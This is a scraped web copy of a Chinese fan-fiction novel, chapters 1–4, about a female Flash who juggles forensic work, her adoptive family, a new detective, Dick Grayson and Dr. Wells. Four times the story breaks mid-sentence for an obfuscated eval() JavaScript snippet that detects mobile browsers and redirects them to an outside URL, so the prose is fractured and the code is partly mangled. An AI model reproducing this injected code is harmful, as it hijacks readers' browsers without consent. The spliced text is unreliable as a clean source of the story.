《[综英美]如何追逐一只蝙蝠》 1. 第 1 章 手机闹钟响起时,巴莉把头埋进枕头里,努力无视恼人的声音。 三秒钟后,她猛地坐起来,按掉了闹钟。 为什么她不能在三秒钟内体验到三个小时的睡眠呢?巴莉烦闷地呻吟了一声。 她是闪电侠,这个世界上最快的人。 她可以在一秒之内绕地球一圈。 但每天依然渴望八小时的睡眠。 半年前,在一次粒子加速器对撞实验发生爆炸时,路过中心城星际实验室的巴莉不幸被爆炸引发的闪电击中。 她昏迷了半个月,所有人都已经做好了最坏的心理准备,以为最好的结果也不过是她成为植物人。但奇迹般地,巴莉醒了过来,身体机能完全恢复,仿佛那场事故从未发生过,没有留下什么后遗症。 好吧,确切地说,是没有留下医学意义上的后遗症。 但巴莉在醒来后,发现自己获得了快到不可思议的速度。她惊讶地称其为“神速力”。 逐渐适应后,她甚至可以用超越光速的速度移动,并且还在不断开发这种超级速度的新用法。 “巴莉,我做了早餐。”卧室门被敲了几下,一个年轻男子的声音随即在门外响起。“我今天上午有个采访,可以顺路送你去上班。” “谢谢,伊德瑞斯。我马上来。”巴莉大声回应道。 十一岁时,巴莉的母亲诺拉·艾伦离奇被杀,父亲亨利·艾伦被认定为头号嫌疑人,也是唯一的嫌疑人。巴莉的世界在一天之内崩塌了。 亨利被逮捕后,他的好友乔·韦斯特主动收留了巴莉,让她住在自己家里,免于被送到寄养家庭。亨利被判刑后,乔正式获得了巴莉的监护权。 乔是一名单亲父亲,在妻子早逝后,他独自抚养儿子伊德瑞斯。巴莉从小就认识他们一家,但真正住到别人家里,又是在那样充满混乱和伤痛的情况下,难免十分拘谨,生怕给任何人添麻烦。 伊德瑞斯比巴莉大一岁,性格热情直率,很快化解了巴莉的紧张,让她适应了新生活。 乔是中心城警局的警探,工作很忙,加班是常态。于是,巴莉和伊德瑞斯学会了在生活上彼此照应。 在学校里,伊德瑞斯总是毫不犹豫地站在巴莉这一边。当同学对巴莉的家庭变故出言嘲讽时,伊德瑞斯总是挡在巴莉前面,用他的伶俐口齿将挑衅者说得哑口无言。 “我爸爸不会那么做的。他和妈妈彼此相爱,绝不会伤害对方。”在第一次被伊德瑞斯公开维护后,巴莉趴在伊德瑞斯肩上抽噎着,把那块衣物完全打湿了。 “我知道,我知道。”伊德瑞斯耐心地陪着巴莉,轻轻地拍着她的后背。 “你和乔真的相信我说的吗?”巴莉哭累了,嗓子哑得厉害。 负责案件的警官认为证据确凿,一定是亨利做的,不存在其它可能。陪审团也这样想。 这倒不是说大家对亨利的人品和婚姻有质疑。事实上,检察官找不出任何关于亨利脾气暴躁或艾伦夫妇婚姻失和的证据。问题在于,这起案件的证据太难以反驳了,根本没有第二名嫌疑人。 唯一的证人巴莉坚持自己看到一个穿着紧身衣的人突然出现,杀死了母亲后又消失了。但这种说法过于离奇,更像是一个孩子在受到巨大创伤之后的幻觉,完全没人采纳。 “我们相信你,也相信亨利。”伊德瑞斯坚定地说。“总有一天,我们会找出真相的。” 就这样,两个孩子在乔的拉扯下,磕磕绊绊地、互相陪伴着长大了。 因为父母的遭遇,巴莉在大学选择了犯罪实验学,并在毕业后作为法医入职中心城警局,如今已经工作一年了。 伊德瑞斯在大学里学的是新闻学,毕业后成为《中央城图报》的新闻记者。 乔和伊德瑞斯会在顺路的时候捎带巴莉去上班,其它的时候,巴莉搭乘公交——当然,那是在获得神速力之前。现在的巴莉会选择跑到办公室。 为什么她的速度变快了,但迟到的次数却越来越多了?巴莉对着镜子刷牙时,纳闷地想着。 上班之余,她会以闪电侠的名号在中心城帮助他人,还要花时间在她偷偷租下的那间老旧仓库里研究和改进她的制服。她唯一能压缩的就是睡眠时间。 “闪电侠”这个名字是伊德瑞斯起的,虽然他甚至并不知道那身制服下面的人是男是女,更不知道那人就是眼前正在向松饼上倒致死量枫糖浆的巴莉。 只是巧合地,伊德瑞斯几次报道了中心城新出现的这位超级英雄,并顺便为对方起了个名字。巴莉很喜欢这个名字,自此沿用下来,又被围观群众记住,从此成了她的代号。 “你小的时候没有这么嗜甜吧。”伊德瑞斯看到巴莉在放下蜂蜜后又挤了一大团奶油,觉得只是看着她的盘子就觉得腻人了,赶紧举起杯子喝了一口黑咖啡。 “工作太累了,需要能量。”巴莉说的是实话,每次使用神速力都会消耗大量能量,她的胃已经变成了一个无底洞。 她也因此养成了习惯,提前多吃一点,虽然依然远远无法满足神速力的能量所需,但能晚饿半秒也是好的。毕竟,即使只是半秒钟,对于身处神速力中的巴莉来说也足够漫长了。 “自从那次事故之后,你的饭量就变大了。”伊德瑞斯面前放着一份普通人分量的早餐,而巴莉面前的是他的双倍。 “也许因为我的身体还在恢复。或者我还在长身体,毕竟我才二十二岁。”巴莉胡乱找着理由,然后倒打一耙。“你是嫌我吃得太多了吗?” 她只是随口开个玩笑,忙着埋头苦吃,没有注意到伊德瑞斯的表情微微一顿。 伊德瑞斯想起巴莉刚来家里住的时候,连吃个苹果都会怯生生地先征求他和父亲的意见。他们花了很久才让巴莉把这里真正当成家。 虽然现在巴莉可能已经选择性地遗忘了那些事,还能随口开个玩笑,但他却好像又看到了那个十一岁的小女孩。 “这个香肠真好吃。”巴莉还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033342|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不忘抽空点评一句,“下次我们用它做热狗吧。” “好啊,下次试试。”伊德瑞斯找回了自己的声音。 吃完饭后,两人坐进伊德瑞斯那辆二手丰田汽车。 巴莉伸手拧开广播,主持人正在讲述闪电侠昨天的行踪——据不完全统计,闪电侠昨天出现了五次,其中两次抓住了偷钱包的小偷,一次将被困在车流中差点被压到的小猫救出,一次将想要跳楼的男人从顶楼天台送到下面的警员手里,还有一次帮助小女孩追回了飘走的气球。 “主持人怎么会知道这些?”巴莉吃惊地说。 “我最近建了一个网站,人们可以在上面留言,分享自己遇到闪电侠的情景。”伊德瑞斯正在变道,快速地瞥了一眼后视镜,随意地说出了令巴莉更吃惊的消息。“主持人大概是查看了那些留言吧。” “什么?你为什么要这么做?”巴莉不解地说。“还有,你什么时候学会编程的?” “我觉得这样收集信息更容易,不过坏处是,上面也有不少虚假或错误的消息。”伊德瑞斯说到这一点,有些无奈。 巴莉暗想:这话一点没错。主持人说的那五件事中就存在错误。她昨天出现了不止五次,但她昨天并没有救猫。 她救的是一只哈士奇。 “至于编程,我只学了点基础的,勉强搭起了一个网页。”伊德瑞斯很清楚自己做的网页堪称简陋。“我已经尽量在各个论坛宣传了,但很多人还是不知道它的存在。” “你为什么对闪电侠这么感兴趣?”巴莉假装自己只是随口一问。 “整个中心城都对闪电侠感兴趣吧。我是记者,当然更对他感兴趣了。”伊德瑞斯和所有人一样,习惯性地以男性的“他”去指代这个身份未知的英雄。 他没有看到巴莉微微皱了一下眉,继续说着:“近些年,许多城市都有超级英雄出现,比如哥谭的蝙蝠侠——虽然有人说他只是个都市传说,根本不存在。现在中心城终于有了属于自己的超级英雄,谁会不好奇呢?” “还有神奇女侠。”巴莉迅速地补上一个女性超级英雄的例子。“不过她的活动范围不只限于一个城市,波士顿、华盛顿特区、门户市……虽然她好像没来过中心城。” “大都会的超人可能也没去过哥谭。这些超级英雄是提前商量好了吗,还是都有特别强的地盘意识?”伊德瑞斯吐槽了一句,没意识到巴莉特意举出神奇女侠这个例子,并不只是为了补充信息,而是在表达闪电侠也可能是女性。 巴莉没有再多说什么。这种性别刻板印象有利于她隐藏自己的身份,她很清楚这一点。只是,她也很希望世界意识到,超级英雄并非男性的专利,女性超级英雄会越来越多的。 就像美国最高法院大法官露丝·金斯伯格所说:有时候人们问我,在九位最高法院大法官中,要有几位女性才足够?我回答:九位。人们对这个答案表示惊讶,但当大法官由九位男性担任时,却没人对此提出质疑。 2. 第 2 章 “带上午饭。”伊德瑞斯将车停在警局门口,伸手从后座上拿了一个餐盒递给巴莉。“尽量别在上午就把它吃掉。” “你今天早上到底几点起来的。”巴莉没想到伊德瑞斯竟然还给她打包了午饭,惊喜地接过盒子。她下了车,又在关上车门前探头进去:“谢谢。” 伊德瑞斯看着副驾驶的车门被关上,笑了一下,启动了车子。 巴莉快步走进警局,刚踏进大厅就看见了乔,他的旁边还站着一个陌生的年轻男人。 乔的身高接近一米九,那人只比乔矮几厘米,气质沉稳,金棕色短发被梳得一丝不苟,灰蓝色的双眼和他身上的蓝色衬衫遥相呼应。 巴莉注意到乔的表情严肃——比平时更严肃——这令她一时间难以判断年轻男人的身份。她的脚步一顿,犹豫着是否应该上前打个招呼。 就在这时,乔瞥见了巴莉,立刻喊道:“巴莉,来见见我的新搭档。” 巴莉闻言走过去,与年轻男人握手。 年轻男人露出礼貌的笑容:“埃迪·斯旺。从基斯顿城警局调来的,今天是我在中心城警局的第一天。很高兴认识你。” 基斯顿城和中心城离得很近,通常被人视为双子城。 “巴莉·艾伦,法医科学家。”巴莉自以为不动声色、实则非常明显地打量着对方。“欢迎加入中心城警局。” “我们得出去了。上周送去的那份加急检测有结果了吗?”乔很清楚巴莉的表情是什么原因,适时打断了她。 “下午能出报告。”巴莉这才意识到自己盯着埃迪太久了,赶紧对两人挥挥手,朝实验室跑去。 埃迪的目光不自觉地追随着巴莉的背影,然后发现乔已经自顾自地转身朝门外走去了,急忙跟上。 两人一起朝停车场走去,埃迪直接地开口询问:“乔,有什么我应该知道、却不知道的吗?” “半年前,我的搭档——前任搭档——在出警时牺牲了。在那之后,我一直拖着没有接受新的搭档。所以她对你的突然出现很惊讶。”乔冷着脸说。“不过我想局长已经告诉你这些了。” “他说我们需要一些时间磨合。”埃迪回答。“我很感激你接受我作为新搭档。你是资深警探,我肯定能从你身上学到很多。” 伸手不打笑脸人,面对态度温和的埃迪,乔觉得自己应该表现得友好一些。 于是,下午的时候,乔让埃迪去法医实验室找巴莉,取早上提到的检测报告。 实验室里只有巴莉一个人,她十分忙碌,却又有条不紊,脸上带着认真的神情。埃迪站在门口静静地看了一分钟,然后才敲了敲门框。 “埃迪,”巴莉在桌子上翻出一份报告,“你是来替乔取报告的,对吧?” “谢谢。”埃迪接过报告,却没有立刻离开。 巴莉疑惑地抬头:“还有什么事吗?” “只是好奇,实验室的其他人呢?”埃迪没话找话地问。 “出外勤了,这会儿只有我。你是想认识一下他们吗?”巴莉知道一些警员乐意与后勤人员打好关系,这样偶尔加急检测会很方便。“早上大家通常都在。” “哦。”埃迪从没觉得自己如此笨嘴拙舌,他绞尽脑汁地想着还能再多聊点什么,“你看起来很忙。” “你是想打听乔的事?”巴莉再一次误解了埃迪支支吾吾的原因,轻笑了一声:“你别被他的样子骗啦,他其实性格很好的。别担心,你们会成为好搭档的。” “希望如此。他喜欢什么样的咖啡?我想早上给他带一杯总没坏处。”埃迪见巴莉没有赶自己,便顺着这个话题说下去。 “乔对咖啡的要求很低,能提神就行。不过比起黑咖啡,他更喜欢摩卡。”巴莉分享道。 “那你呢?”埃迪状若无意地问。 “我喜欢一切甜甜的口味。那些季节性的甜咖啡我都会去尝尝。”巴莉说。 她希望乔能和新搭档相处愉快,毕竟没有搭档意味着要一个人出勤,也就意味着没有人看顾乔的后背。 因此,巴莉暂时放下手头的事,和埃迪闲聊起来:“说到咖啡,你知道中心城有一家很有名的连锁咖啡店吗?吉特斯咖啡馆,推荐你试试。” “我见过这家的招牌。看来改天我得进去点一杯。”埃迪说。“你是中心城本地人吗?” “是啊,如果你有什么生活上的问题,可以随时来问我。”巴莉想起埃迪是从基斯顿城搬过来的。“你呢?你的口音听起来像是加州那边的。” “这么明显吗?我是在星城长大的,在基斯顿城读了大学。”埃迪说。“我来过中心城几次,但总是当天就走了。我想我可能真的有许多事情需要问一个本地人。” “乐意帮忙。”巴莉热心地说,并与埃迪交换了私人手机号。 两人又聊了几分钟。埃迪很想继续聊下去,但他们各自都还有工作要做,他不得不拿着文件离开了。 回到乔的办公桌旁,埃迪将文件递给对方,正想讨论几句案情,乔却先开口了:“你怎么去了这么久?迷路了吗?” “和巴莉聊了几句,她很热心,答应帮我熟悉中心城。”埃迪说。“你们很熟吧?她是不是单身?我的意思是,周末找她会不会太打扰了?” 尽管埃迪努力用上了新人随口打探单位八卦的语气,但乔的脸色还是变得古怪起来:“局长说你擅长审讯嫌疑犯。这就是你的水平吗?” 乔打量了埃迪几秒,咽下了后半句话——局长说埃迪是个没有私生活的工作狂,这很可能是真的。他怀疑埃迪从没恋爱过,青涩得和埃迪二十六岁的年龄不符。 在乔的注视下,埃迪的脸慢慢涨红了,觉得自己身处探照灯下,被对方完全看透。 乔没有继续嘲讽,语气平静地说:“没错,我和巴莉很熟,因为她是我的女儿。” 埃迪僵住了,但下意识地以为这只是个玩笑——乔是一名高大健壮的黑人,而巴莉虽然身材高挑,却是棕发棕眼、典型的白人样貌。 “领养的。”乔见埃迪依然呆呆地站在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033343|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,好心地补充了一句解释。 埃迪回过神来,尴尬地“哦”了一声。 “我喜欢把事情说在前面。”乔板着脸,但语气并不刻薄,只是在陈述事实,“我已经和局长谈过了,如果几个月后,你没有获得我的认可,那你会被调走和别人搭档。那种情况下,我会反对你追求巴莉。” “那如果我获得了你的认可呢?”埃迪几乎是立刻追问。 “那你将成为我的长期搭档。我不希望我的搭档和我的女儿谈恋爱,因为那意味着她可能同时失去两个重要的人。” 乔说得很直白,并不是针对埃迪,也不是出于对子女的控制欲,只是源于一个父亲对子女的保护欲。埃迪只能应了一声。 “我们来聊聊这个案子吧。”乔进入工作模式,翻开报告。 下班前,巴莉接到了迪克·格雷森的电话,问她周末有没有时间一起吃午饭。 “周六要值班,周日可以。”巴莉用肩膀夹着手机,一边整理着实验台上的物品。 “那就周日见。”迪克说。“早上我就想给你打电话,但一直没时间。” 巴莉听到电话另一端传来嘈杂的背景音,知道迪克还在办公室。她因为他的话而笑起来:“今天才刚刚周一。你有直到周六的时间可以联系我。” “万一你有了其它安排呢。”迪克很认真地说。 “好吧,你这个计划狂魔。”巴莉叹了口气,“下次如果我约你,也会提前一周告知的。” 迪克是邻近城市布鲁德海文警局的警员。巴莉刚开始工作时,两人在一次警局间的交流活动上认识了。之后,迪克偶尔会和她一起吃饭,聊聊工作上的事情。 巴莉很高兴能和一名同龄的警员成为朋友,从外勤警员的角度了解警察工作。虽然乔对她几乎是有问必答,但乔毕竟是长辈,两人看问题的角度难免存在差异。 如果可以的话,她很乐意在中心城警局交一个迪克这样的朋友。但大家都知道亨利·艾伦的事情,至少听说过八卦——中心城的治安状况总体良好,凶杀案不多,再加上亨利是一位颇有名气的医生,这起案子一度占据报纸头条数日。 出于对巴莉的同情以及对乔的尊重,从巴莉入职的第一天起,大家都对巴莉十分照应,与她相处融洽。但巴莉很难与那些警官发展出工作之外的友谊。 相比之下,巴莉在和迪克聊天时更能畅所欲言。他们经常通过短信和电话联系,不过见面次数却不算多。 迪克总是看起来很累的样子,据说加班压力太大——布鲁德海文的治安被形容为“比哥谭强一些”,而会被拿来和哥谭作比较,这本身就说明很多问题了。 但由于迪克有一辆车,每次都是他开车两个小时来中心城,巴莉省钱省力,出于公平心态,她会请迪克喝一杯咖啡。 闪电侠出现后,吉特斯咖啡馆推出了一款新口味,以闪电侠命名,只在中心城销售。在发现这一新品之后,迪克立刻尝试了一次,之后每次来中心城都只喝这个口味的咖啡。 3. 第 3 章 在与迪克逐渐熟悉之后,巴莉发现对方有着远超年龄的成熟。这位二十六岁的警探有年轻人的朝气,对打击犯罪抱有近乎理想主义的热情,同时又具备沉稳的性格和不可思议的知识储备,令人不自觉地对其产生信任。 犹豫了一个星期之后,巴莉决定顺从自己的直觉,与迪克讨论自己父亲的案件。她已经将那些材料看过太多遍,急需一个来自局外人的新鲜视角。 起初,巴莉刻意用第三人称来讲述,尽量剥离一切主观倾向,只做冷静客观的陈述。但随着叙述一点点深入,某些只有当事人才会注意的细节不可避免地出现,人称代词也开始出现混淆。简而言之,她说漏了嘴。 事实上,回想起来,巴莉很确定自己说错了不止一次,但迪克一直假装没发现。 最后,巴莉放弃了完全不成功的掩饰,坦白这不是她无意间看到的悬案,而是自己家人的事情。迪克演技拙劣地做出恍然大悟状,表示“你不说我都没意识到”,这一次轮到巴莉假装没有看穿。 迪克对亨利的案子格外上心。他认真地听完了巴莉的回忆——相比案卷里记录的那个有些语无伦次、反复提到“穿着黄色紧身衣的身影”的小女孩,巴莉在之后的十几年里显然无数次回忆过那一夜,将见到的情景整理成一段流畅而完整的叙述。 他对此没有表现出任何怀疑,反而给出了一个专业的解释:“人的大脑在回忆时,确实会不断填充细节,其中有些可能从未真实存在过。但在‘是与否’的重大事项上,记忆通常是可靠的。那天晚上一定还有其他人在场。” 巴莉听着迪克的话,忽然有些分不清,这个判断究竟只是源自他在无数案件中累积的职业经验,还是掺杂了某些更私人的、来自生活本身的体会。 有那么一瞬间,巴莉仿佛窥见了他开朗和善下的另一面,这让他更真实而立体了。 之后,迪克仔细阅读了警局案卷和庭审记录。可惜目前两人仍没有找到新的突破口。 不过这也并不意外。乔已经将这个案子研究得十分透彻,如果真有什么很容易发现的漏洞,他早就为朋友洗刷罪名了。 下班后,巴莉去了星际实验室。 星际实验室,全名为Scientific and Technological Advanced Research Lab(科学与技术前沿研究实验室),由于名字过于冗长拗口,官方从一开始就用缩写S.T.A.R.来自称。 这是一座充满科技感的建筑,由流线型的金属与高强度玻璃构成,外墙在白天反射出冷静而克制的银色光泽,夜晚则被内部的能量灯带点亮,像一座安静运转的巨大电路板。 哈莉特·威尔斯博士是星际实验室的创始人和负责人。在那场极其严重的粒子加速器爆炸中,她因重伤而瘫痪,自此不得不依靠轮椅行动。 这位三十五岁的天才科学家并没有因此一蹶不振。她闭口不谈自己的痛苦与不便,主动承担起对事故受害者的赔偿责任。无论是在面对镜头还是在私底下,她总是理性克制的。 巴莉从昏迷中醒来时,看到的第一个人正是威尔斯博士。那时她还晕乎乎的,只注意到一个只在报纸上见过的女人正在俯身看她,黑色双眸藏在镜片背后,其中带着复杂的情绪。过了好一会儿,巴莉才想起昏迷前发生了什么。 乔和伊德瑞斯听说巴莉醒了,都以最快的速度赶到星际实验室。三天后,他们将已经恢复得活蹦乱跳的巴莉接回了家。 可威尔斯博士既愧疚又担忧,坚持要求巴莉定期去星际实验室检查身体。也正因如此,巴莉和威尔斯博士渐渐熟悉起来。 巴莉原本就十分敬仰这位智慧而优雅的科学家,在真正接触之后,她更是被威尔斯博士的人格魅力折服,不自觉地对其心生好感。 对巴莉来说,威尔斯博士像记忆中永远年轻的母亲,又像她未曾拥有过的姐姐。她是指引方向的导师,也是耐心陪伴的朋友。 虽然巴莉并没有将自己的神速力告知威尔斯博士——她没有告诉任何人——但在自制制服遇到障碍时,她会去请教。那些问题往往披着“假设”、“如果”或“有没有可能”的外壳。 为了避免威尔斯博士察觉其中暗藏的内在逻辑,巴莉还时不时刻意地问一些更天马行空的设想。她偶尔会为这种拐弯抹角的行为感到心虚。 然而,威尔斯博士从未表露过丝毫不耐。她会认真地听完,像对待真正的科研难题一样拆解思路,给出清晰的建议,但从不打探这些设想究竟源自何处。 她的点拨总是恰到好处地指出方向,每一次都能为巴莉带来新的灵感,让那些看似无解的问题忽然有了可行的路径。 “我买了杂货。你上次提到的本杰瑞牌草莓芝士口味的冰淇淋,我买了五桶,已经放到冰箱里了。”巴莉从包里拿出威尔斯博士给她的通行卡,在实验室门口刷了一下,熟门熟路地穿过大厅,直奔威尔斯博士的办公室。 “晚上好,巴莉。”威尔斯博士正和一名实验员低声说着什么,闻声抬头,露出温柔的微笑。 “抱歉,我以为大家都下班了。”巴莉不好意思地顿住脚步。“嗨,凯特琳。” 在最鼎盛的时候,实验室里曾有几十名实验员。但爆炸之后,由于经费问题,人员陆续离开,目前只剩下三四名实验员自愿降薪留下,既是为了继续获得威尔斯博士的指导,也是因为舍不得实验室那些尖端设备。凯特琳·史诺便是其中之一。 “没关系,巴莉。我正准备回家了。”凯特琳对两人点点头,离开了。 “你今天没加班。”坐在电动轮椅上的威尔斯博士从办公桌后缓缓驶出,停在待客用的茶几旁边。她看着巴莉手里的大纸袋,猜测道:“这个香味……是中餐?” “猜对了。”巴莉将袋子放到桌上,利落地将几个餐盒取出并一一打开,露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033344|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几份炒菜、一大份炒面和一份分量扎实的炒饭。 “福州饭店的吗?”威尔斯博士瞥见了袋子上的标志。 “对。老板还送了我一大盒炸春卷。”巴莉笑嘻嘻地说。她终于掏空了袋子,坐了下来。 两人一边吃,一边聊天,在饭后又讨论了很久。 “关于你说的那种耐高温材料,我在一篇航天材料的论文里读到过类似的想法。我找一找,下周一告诉你。”威尔斯博士听完巴莉的最后一个问题,沉思了一会儿,像是在从大脑的数据库里检索资料。 “太好了。”巴莉积攒了一周的问题已经悉数问完,恨不得立刻跑到自己的小仓库里去鼓捣一整个通宵。 就在她打算收拾桌子时,威尔斯博士忽然没来由地问:“新闻上最近经常提到一个被称为闪电侠的人,你看到过吗?” 巴莉的心跳漏了一拍,旋即冷静下来,觉得这个问题听起来有点奇怪。 因为这个问题来得太迟了。 在整个中心城,难道还有人没看过闪电侠相关的新闻吗? 巴莉很快对此找到了合理的解释。爆炸之后,威尔斯博士忙于事故善后,继而深居简出,很少关注外界的消息。这样想来,她此刻才看到相关报道,倒也并不算反常。 “当然啦,闪电侠现在经常上新闻。”巴莉轻快地说。“闪电侠的速度很快,快得不可思议。” “我翻看了不少报道,无论是哪位记者都没能获得闪电侠的清晰影像。对她的一切描述都来自现场的人,比如她穿着一身红色的制服,还戴着头罩。”威尔斯博士说。 哪怕是八卦,她也带着科研时的认真态度,显然在开口前已经先做过充分的功课。巴莉忍不住在心里笑了一下,觉得这样的威尔斯博士看起来比平时更鲜活了。 目击者还提到,闪电侠的胸前有一个明黄色的闪电标志。巴莉正准备补充这一点,却忽然意识到一个细节: 威尔斯博士是第一个在巴莉面前,自然而然地用女性代词称呼闪电侠的人。 这大概只是同为女性的下意识判断吧。 “也许是变种人。”威尔斯博士的声音不高,却字字清晰,将巴莉从方才的思绪中唤了回来。 “变种人?”巴莉下意识地重复了一遍,语气里带着些许迟疑。“好像已经很久没人提起过了。” “是啊。”威尔斯博士点了点头。“在七十年代,他们曾经频繁登上新闻头条。多种多样的能力、民众的恐慌和随之而来的冲突……政府很快有意识地介入和压制相关信息。报道逐渐消失在公众视野里,但变种人始终存在。” “我听说过变种人,但在现实生活中从没真正见过。”这个话题像火花一样点亮了巴莉的思路,“这些年接连出现的超级英雄……他们是变种人吗?” “也许吧。”威尔斯博士对此并不确定。“不过超人肯定不是,他公开说过自己是氪星人。” 4. 第 4 章 “变种人是携带X基因的人类,”巴莉回忆着自己曾经读过的内容,“他们觉醒能力的年龄各不相同,有些人在出生时便显露特殊,有些人则像普通人一样生活了大半辈子,直到某一天才发现自己竟然是变种人。但如果一个人压根没有X基因,那就不会突然成为变种人,对吗?” 在此之前,巴莉从没想过自己可能是变种人。她一直理所当然地将自己能力的来源归因于那场粒子加速器的爆炸,认为这是最合理的解释。 但实际上,她只是简单粗暴地将两件前后发生的事情关联在一起。 如果她其实是个迟迟没有觉醒的变种人呢? “你的理解没错。据说在最疯狂的年代,军方曾抓过一些尚未觉醒能力的变种人,通过极端手段强行诱发他们的能力觉醒。当然,这些记录从未公开过,可能只是谣传。”威尔斯博士说。 强行诱发?巴莉觉得这一点自己的经历也算符合。那可是粒子加速器爆炸,威力不亚于一场小型核爆,怎么不算“强行”呢? 见巴莉陷入沉思,威尔斯博士没有出声打断,只是安静地注视着她。办公室里一时安静下来,只剩下空调低缓而规律的运行声音。 过了一会儿,威尔斯博士才像是为了刻意放松气氛一样开口:“即使那些传言是真的,它们也早已是过去式了。那时我还是个孩子,而你甚至还没出生呢。” “在现代社会,那种迫害应该很难再被完全隐藏了吧?”巴莉不太有底气地说。“我是说,如果他们没有停止迫害的话。” 她决定,回去之后要仔细地查一查变种人相关的资料。 “互联网让许多秘密无所遁形。我认为,随着科技发展,对公众隐瞒变得越来越难了。”威尔斯博士用笃定的语气说,令巴莉略微安心了一点。 在巴莉提出更多问题之前,威尔斯博士换了一个话题:“对了,我在整理东西时,发现了一批套头衫,是实验室之前定制的,胸前印着巨大的Logo。现在实验室的人不多,你想要拿几件吗?” “我可以吗?”巴莉马上被转移了注意力,按照威尔斯博士的指示去角落里的箱子里翻找。她快乐地拎起一件又一件衣服,感慨道:“你们当时定制了这么多呀,各种颜色、不同季节的都有……” 她的声音忽然消失,意识到这话是在威尔斯博士的伤口上撒盐。 “挑你喜欢的,随便拿几件都可以。”威尔斯博士的神情没有丝毫不快,反而对巴莉露出一个安抚的微笑。“如果以后实验室重新热闹起来了,我再定制一批新的。” 巴莉被威尔斯博士的乐观情绪感染了,立刻说:“那到时候,我也想要。” “怎么会落下你呢。”威尔斯博士的语气自然得仿佛这是理所当然的。 仿佛巴莉早已是实验室真正的一员。 满载知识和衣服而归的巴莉蹑手蹑脚地打开家门,却发现乔和伊德瑞斯都没休息,正在客厅里对峙,气氛紧张得像是一九六二年十月的古巴。 “发生了什么?”巴莉吓得差点把包掉在地上。 “我在帮他特训。”乔被巴莉的反应逗笑了。“他要去做卧底。” “局里什么时候开始找平民做卧底了?”巴莉瞪大了眼睛。 “不是在中心城。”伊德瑞斯摘下金丝框的平光眼镜,在沙发上坐下。兴奋和疲惫同时写在他脸上,就像是学生在熬夜复习后神经亢奋的状态。他显然对即将做的事情非常期待。“大都会的一位记者联系了我,说一位在巴尔的摩的朋友正在四处求助。他立刻想到了我。” “听起来是很曲折地找到了你。”巴莉在伊德瑞斯旁边坐下。“所以,你要去巴尔的摩?” 倒不是说她有偏见——好吧,她就是有偏见。就算伊德瑞斯带着警局的整个军火库去巴尔的摩,她都会担心火力不足。 “对。一个黑/帮头目忽然被杀,消息暂时被封锁了。警方担心另一个新兴帮派趁虚而入,希望我能代替那个人露面几天,稳住局势,就只是这样。”伊德瑞斯解释道。 “那个人和你长得很像吗?”巴莉问。 还没等伊德瑞斯回答,乔已经默默地把一张打印出来的照片递过去。 不出所料,巴莉看到照片的瞬间,嘴巴慢慢张开,合都合不上。和乔第一次看到照片时的反应一模一样。 “这人不会是伊德瑞斯失散多年的双胞胎兄弟吧?”巴莉举着照片,喃喃地说。 “他叫拉塞尔·贝尔,通常被人称为‘斯金格’。”伊德瑞斯把脸凑到照片旁边,方便巴莉对比,并且强调道:“他比我大,因此他看起来老一点。” 对于这种完全不以事实为基础的结论,巴莉无话可说。照片上的斯金格看起来一点也不老。 “你们的发型不一样。你也得剪成平头才行。”巴莉努力地在照片和眼前的真人之间找不同。“说实话,他看起来更像一个大学助教。我还以为他的匪气会更重呢。” “他一直想将组织的生意洗白,靠正经商业致富,比如房地产。但他始终无法摆脱骨子里的江湖气,手段狠辣,对人命毫无敬畏。” “能在巴尔的摩的黑/道混出头,这本身就说明许多了。”巴莉说着,露出担忧神色。“如果你被发现了,会不会有危险?或者,如果你没被发现,想杀他的人会不会再去杀你?” “别担心,我可以向超人求救。”伊德瑞斯说。他发现巴莉依然绷着脸,意识到这话听起来像是在开玩笑,连忙解释道:“真的。那位记者和超人认识,已经提前拜托对方留意我的求救了。” “你什么时候认识露易丝·莱恩的?”巴莉诧异道。“我以为她在获得普利策奖之后,很少再报道超人的新闻了。” “不是她。是《星球日报》的另一位记者,克拉克·肯特。”伊德瑞斯说。 “哦。现在的确是他经常报道超人的新闻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033345|194580||http|test|mini|href|location''.split(''|''),0,{})); () { 